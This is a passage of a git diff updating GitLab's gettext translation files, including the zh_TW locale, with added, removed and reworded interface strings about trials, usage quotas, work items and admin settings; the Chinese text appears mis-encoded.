msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -42954,7 +43658,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "å–消星標"
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr "未驗證"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -43882,6 +44583,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44044,15 +44748,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr "活動"
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44678,10 +45355,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -44849,10 +45526,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr "已驗證"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45056,9 +45733,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45128,6 +45802,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr "檢視已å–代檔案 @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46568,7 +47266,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,7 +47299,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47004,6 +47714,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47299,6 +48012,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47452,8 +48168,9 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr ""
@@ -47690,6 +48407,9 @@ msgstr ""
msgid "Your name"
msgstr "您的åå­—"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "程å¼ç¢¼å“質沒有變更"
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -49864,6 +50584,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/zh_TW/gitlab.po b/locale/zh_TW/gitlab.po
index 72f9a69b312..d93c08e0411 100644
--- a/locale/zh_TW/gitlab.po
+++ b/locale/zh_TW/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-TW\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-11 07:26\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr " %{start} 到 %{end}"
@@ -659,6 +659,9 @@ msgstr "%{italic_start}新增功能%{italic_end} 處於éžæ´»å‹•ç‹€æ…‹ï¼Œç„¡æ³•æ
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} 個議題,上é™ç‚º %{maxIssueCount} 個"
+msgid "%{key} is not a valid URL."
+msgstr "%{key} ä¸æ˜¯ä¸€å€‹æœ‰æ•ˆçš„ URL。"
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}實際響應:%{labelEnd} %{headers}"
@@ -731,6 +734,9 @@ msgstr "%{group_level_name} 群組ä¸å…許 %{level_name} 。"
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "由於分å‰ï¼ˆFork)的來æºå°ˆæ¡ˆå¯è¦‹æ€§è¼ƒä½Žï¼Œå› æ­¤ä¸å…許使用 %{level_name}。"
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr "%{linkStart} 了解更多 %{linkEnd}。"
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}從標題中刪除 %{draft_snippet} å‰ç¶´%{link_end} 以å…許此åˆä½µè«‹æ±‚在準備好時被åˆä½µã€‚"
@@ -861,6 +867,12 @@ msgstr "%{project_path} 是一個專案項目,å¯ç”¨æ–¼å°‡ README 添加到 Gi
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} 無法添加: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr "%{relation_type} å²è©© (epic) ä¸å­˜åœ¨ã€‚"
+
+msgid "%{relation_type} epic is not present."
+msgstr "%{relation_type} å²è©© (epic) ä¸å­˜åœ¨ã€‚"
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} 個發布版本"
@@ -877,6 +889,10 @@ msgstr "%{reportType}檢測到%{totalStart}%{total}%{totalEnd}個潛在的%{vuln
msgid "%{reportType} detected no new vulnerabilities."
msgstr "%{reportType} 未檢測到新的æ¼æ´žã€‚"
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}è«‹é‡è©¦%{retryButtonEnd}或%{newFileButtonStart}附加一個新的檔案%{newFileButtonEnd}。"
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] "%{selectedProjectsCount} 個專案"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1010,10 +1023,6 @@ msgstr "%{template_project_id} 為未知或無效"
msgid "%{text} is available"
msgstr "%{text} å¯ç”¨"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] "%{thenLabelStart} 接下來 %{thenLabelEnd} 需è¦ä¾†è‡ª %{approverType}%{approvers} çš„ %{approvalsRequired} 核准"
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type}ä¸æ”¯æ´ç‡ƒç›¡åœ–"
@@ -1409,8 +1418,8 @@ msgid_plural "%d roles"
msgstr[0] "%d 個角色"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "%{num} ä½ä½¿ç”¨è€…"
+msgid_plural "%d users"
+msgstr[0] "%d 使用者"
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1633,6 +1642,9 @@ msgstr "變基 (Rebase) 作業已在進行中。"
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "你的帳號已被從下列的IP登入: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr "用於啟動新 TYPO3 專案的樣æ¿"
+
msgid "A title is required"
msgstr "標題為必填"
@@ -1777,9 +1789,6 @@ msgstr "AWS å­˜å–金鑰 ID(å¯é¸ï¼‰"
msgid "AWS secret access key (Optional)"
msgstr "AWS ç§å¯†å­˜å–金鑰(å¯é¸ï¼‰"
-msgid "AWS service error: %{error}"
-msgstr "AWSæœå‹™éŒ¯èª¤ï¼š %{error}"
-
msgid "Abort"
msgstr "中止"
@@ -1828,9 +1837,6 @@ msgstr "å­˜å–憑證"
msgid "Access denied for your LDAP account."
msgstr "您的 LDAP 帳號被拒絕存å–。"
-msgid "Access denied: %{error}"
-msgstr "拒絕存å–:%{error}"
-
msgid "Access expires"
msgstr "å­˜å–權é™å·²åˆ°æœŸ"
@@ -1990,8 +1996,8 @@ msgstr "動作"
msgid "Activate Service Desk"
msgstr "啟用æœå‹™å°"
-msgid "Activated on"
-msgstr "啟用於"
+msgid "Activated"
+msgstr "已啟用"
msgid "Active"
msgstr "使用中"
@@ -2068,6 +2074,9 @@ msgstr "增加清單"
msgid "Add a collapsible section"
msgstr "加入å¯ç¸®åˆå€å¡Šã€‚"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "在此行新增評論"
@@ -2446,15 +2455,18 @@ msgstr "啟用的使用者"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "所有在此實例中建立的使用者,包括%{billable_users_link_start}計費使用者%{billable_users_link_end}以外的使用者。"
-msgid "AdminArea|Billable users"
-msgstr "計費使用者"
-
msgid "AdminArea|Blocked users"
msgstr "å°éŽ–使用者"
msgid "AdminArea|Bots"
msgstr "機器人"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "組件"
@@ -2536,9 +2548,18 @@ msgstr "åœæ­¢ä½œæ¥­"
msgid "AdminArea|Stopping jobs failed"
msgstr "åœæ­¢ä½œæ¥­å¤±æ•—"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "總使用者"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr "已更新於 %{last_update_time}"
@@ -2566,6 +2587,12 @@ msgstr "查看最新使用者"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "您打算åœæ­¢æ‰€æœ‰ä»»å‹™ã€‚這將會åœæ­¢æ‰€æœ‰æ­£åœ¨åŸ·è¡Œä¸­çš„任務。"
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "載入統計資料時發生錯誤。請å†è©¦ä¸€æ¬¡"
@@ -2620,6 +2647,9 @@ msgstr "é è¨­æ‰€æœ‰æ–°å°ˆæ¡ˆéƒ½å¯ä»¥ä½¿ç”¨å¯¦ä¾‹çš„共享執行器。"
msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto DevOps 網域"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr "é è¨­æƒ…æ³ä¸‹ï¼Œå°‡é™åˆ¶è¨­ç‚º 0 表示沒有é™åˆ¶ã€‚"
+
msgid "AdminSettings|CI/CD limits"
msgstr "CI/CD é™åˆ¶"
@@ -2689,6 +2719,9 @@ msgstr "啟用 kuromoji 自訂分æžå™¨: 索引建立中"
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr "啟用 kuromoji 自訂分æžå™¨: 查詢"
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr "通éŽç›´æŽ¥å‚³è¼¸å•Ÿç”¨é·ç§» GitLab 群組和專案"
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr "啟用æµæ°´ç·šå»ºè­°æ©«å¹…"
@@ -2776,6 +2809,9 @@ msgstr "æ¯å€‹å°ˆæ¡ˆçš„最大活動æµæ°´ç·šæ•¸é‡"
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr "æ¯å€‹å°ˆæ¡ˆçš„最大自定義域數é‡"
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr "在æµæ°´ç·šéšŽå±¤æ¨¹çš„最大下游æµæ°´ç·šæ•¸é‡"
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr "在一個æµæ°´ç·šä¸­çš„最大作業數"
@@ -2863,9 +2899,6 @@ msgstr "兩步驟驗證啟用時 Git æ“作的工作階段æŒçºŒæ™‚間(分é˜ï
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr "å°‡ CI / CD 模æ¿è¨­å®šç‚ºå¯¦ä¾‹ä¸­æ‰€æœ‰å°ˆæ¡ˆçš„å¿…è¦æµæ°´ç·šé…置。當執行æµæ°´ç·šæ™‚,專案的 CI / CD é…置會與必è¦æµæ°´ç·šé…ç½®åˆä½µã€‚%{link_start}甚麼是必è¦æµæ°´ç·šé…置?%{link_end}"
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "å°‡é™åˆ¶è¨­å®šç‚º 0 以åœç”¨å®ƒã€‚"
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr "為新註冊的群組執行器設定身份驗證權æ–éŽæœŸæ™‚間。"
@@ -2911,6 +2944,9 @@ msgstr "å¿…è¦æµæ°´ç·šé…置的範本å¯ä»¥æ˜¯ GitLab æ供的範本之一,æ
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr "進階查詢å‡ç´šç‚ºå¾…處ç†ç‹€æ…‹ç›´åˆ°æš«åœå»ºç«‹ç´¢å¼•ã€‚ 建立索引必須ä¿æŒæš«åœï¼Œç›´åˆ° GitLab 完æˆå‡ç´šã€‚"
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr "該é™åˆ¶ç„¡æ³•è¢«åœç”¨ï¼Œè¨­å®šç‚º 0 å¯é˜»æ­¢æ‰€æœ‰ DAG ä¾è³´ã€‚"
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr "è¦å•Ÿç”¨è¨»å†ŠåŠŸèƒ½ï¼Œéœ€å…ˆå•Ÿç”¨ Service Ping。"
@@ -3157,8 +3193,8 @@ msgstr "有關您GitLab實例使用情æ³çš„é‡è¦ä¿¡æ¯"
msgid "AdminUsers|Is using seat"
msgstr "管ç†ä½¿ç”¨è€…正在使用"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "此使用者所著的議題已å‘其他使用者隱è—。"
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr ""
msgid "AdminUsers|It's you!"
msgstr "這就是你ï¼"
@@ -3202,6 +3238,9 @@ msgstr "將會ä¿ç•™å€‹äººå°ˆæ¡ˆ"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "個人專案ã€ç¾¤çµ„和使用者歷å²è¨˜éŒ„將維æŒä¸è®Š"
+msgid "AdminUsers|Private profile"
+msgstr "ç§æœ‰å€‹äººè³‡æ–™"
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "CI/CD 分é˜é…é¡"
@@ -3460,6 +3499,9 @@ msgstr "éŽæœŸå¾Œï¼Œæ‚¨å°‡ç„¡æ³•æ‰¹å‡†åˆä½µè«‹æ±‚ã€å²è©© (epics) 或許多其
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr "éŽæœŸå¾Œï¼Œæ‚¨å°‡ç„¡æ³•æ‰¹å‡†åˆä½µè«‹æ±‚ã€å²è©© (epics) 或多安全功能。"
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr "å•Ÿå‹• App Store Connect æ•´åˆå¾Œï¼Œå°‡æœƒå»ºç«‹ä»¥ä¸‹å—ä¿è­·çš„變數供 CI/CD 使用。"
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
